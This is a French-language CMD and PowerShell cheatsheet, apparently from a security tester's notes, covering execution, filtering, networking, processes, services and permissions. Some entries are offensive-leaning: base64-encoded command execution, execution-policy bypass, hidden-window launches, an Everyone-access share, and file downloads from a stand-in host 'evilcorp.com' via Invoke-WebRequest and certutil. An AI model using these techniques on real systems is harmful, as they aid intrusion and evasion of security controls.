CMD \ Powershell cheatsheet

Tips

Exécution Inline
Copycmd /c "<command>"
Copypowershell -c "<command>"
Copypowershell -encodedCommand <UTF-16LE base64 command>
powershell -enc <UTF-16LE base64 command>
powershell -e <UTF-16LE base64 command>

Encodage de la commande :

CopyPS> $Text = 'echo hello'
PS> $EncodedText = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Text))
PS> $EncodedText
Afficher le contenu d’un fichier
Copytype <file/path>
Grep
Copy<command> | FindStr <string>

Execution Policy

Par défaut Windows interdit l’éxécution de script .ps1 . Pour vérifier que l’option de sécurité est configuré sur “Restricted” vous pouvez lancer la commande suivante :

CopyPS C:\Users\lun> Get-ExecutionPolicy
Restricted

Il est possible de désactiver cette option lors du lancement d’un script (Bypass Execution Policy) :

CopyPS C:\Users\lun> Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy Bypass
CopyPS C:\Users\lun>  powershell -ep bypass -File script.ps1
PS C:\Users\lun>  powershell -ExecutionPolicy Bypass -File script.ps1

NoExit

Par défaut, lorsque le processus powershell a fini d’exécuter un script, ce dernier se ferme (exit). Pour lui spécifier qu’il doit rester actif (alive) nous pouvons utiliser l’option -NoExit :

CopyPS C:\Users\lun>  powershell -ExecutionPolicy Bypass -NoExit -File script.ps1

Formatage / Filtre

Filtrer les champs
Copy<command> | select Field1, ... , Field5
CopyField1  :  Value   
Field2  :  Value   
Filtrer les colonnes
Copy<command> | Format-Table Field1, Field2
CopyField1  Field2
------  -------
Value   Value
Value   Value 
Value   Value 
Selectionner les attributs
Copy<command> -properties Field1, ... , Field5
CopyField1  :  Value   
Field2  :  Value   

Réseau

Requête Http
CopyInvoke-WebRequest https://google.com
Requête Http + Proxy
CopyInvoke-WebRequest http://google.com -ProxyUseDefaultCredentials -Proxy http://192.168.1.2:9999
Tester un port
CopyTest-NetConnection -ComputerName 127.0.0.1 -Port 9999
Partage de fichier

Créer un share accessible à tout le monde :

CopyNew-SmbShare -Name <name> -Path "<absolute\path>" -FullAccess "Tout le monde"
New-SmbShare -Name <name> -Path "<absolute\path>" -FullAccess "Everyone" 

Lister les shares :

CopyGet-SmbShare
Téléchargement
CopyInvoke-WebRequest -OutFile file.txt -Uri http://evilcorp.com/file.txt
Copyiwr -outf file.txt -Uri http://evilcorp.com/file.txt
Copycertutil.exe -urlcache -f http://evilcorp.com/file.txt file.txt
Webclient
Copy$WC=New-Object System.Net.WebClient;
$WC.Headers.add("<header-1>","<value-1>");
$WC.Headers.add("<header-2>","<value-2>");
$DATA=$WC.DownloadData("<url>");

Logiciels

Lister les logiciels installés

La commande wmic product ne renvoie pas nécessairement tous les programmes installés. Selon la manière dont certains programmes ont été installés, ils peuvent ne pas être listés.

Copywmic product get name,version,vendor

Processus

Chemin du binaire du processus
CopyGet-Process <nom_processus> -FileVersionInfo
Lancer un processus
CopyStart-Process -FilePath <chemin\binaire> -ArgumentList "<arguments>"
Start-Process -FilePath <chemin\binaire> -ArgumentList "<arguments>" -WindowStyle hidden
Tuer un processus
Copytaskkill /IM <nom_processus> /F 
CopyStop-Process -ID <PID> -Force
Stop-Process -Name <nom_processus> -Force

Services

Lister les services actifs
Copyps
CopyGet-Service | Where-Object {$_.Status -eq “Running”}
Copywmic service get startname,name,pathname
Démarrer/Arrêter un service
Copysc.exe start <service-name>
sc.exe stop <service-name>

Tâches planifiées

Lister les tâches
CopyGet-ScheduledTask
Information sur une tâche
CopyGet-ScheduledTaskInfo <nom_tache>

Droits

Devenir propriétaire d’un fichier/dossier
Copytakeown /f <file/path>
Obtenir Permissions/ACLs d’un objet
Copyicacls <file/path>
Copy(Get-Acl -Path "C:\Windows\<file/folder>").access
CopyGet-Acl -Path "AD:\<AD-object-DN>"

Forensique

Recherche de fichiers par nom
Copywhere /R C:\Users *flag*.txt
Copydir /s *foo*

Message Box

Copymsg $env:UserName <message>

Help

Page d’aide d’une commande cmdlet
CopyGet-Help <command>
Listes des commandes cmdlets disponibles
CopyGet-Command
Lister les attributs d’un objet cmdlet
Copy<command> | Get-Member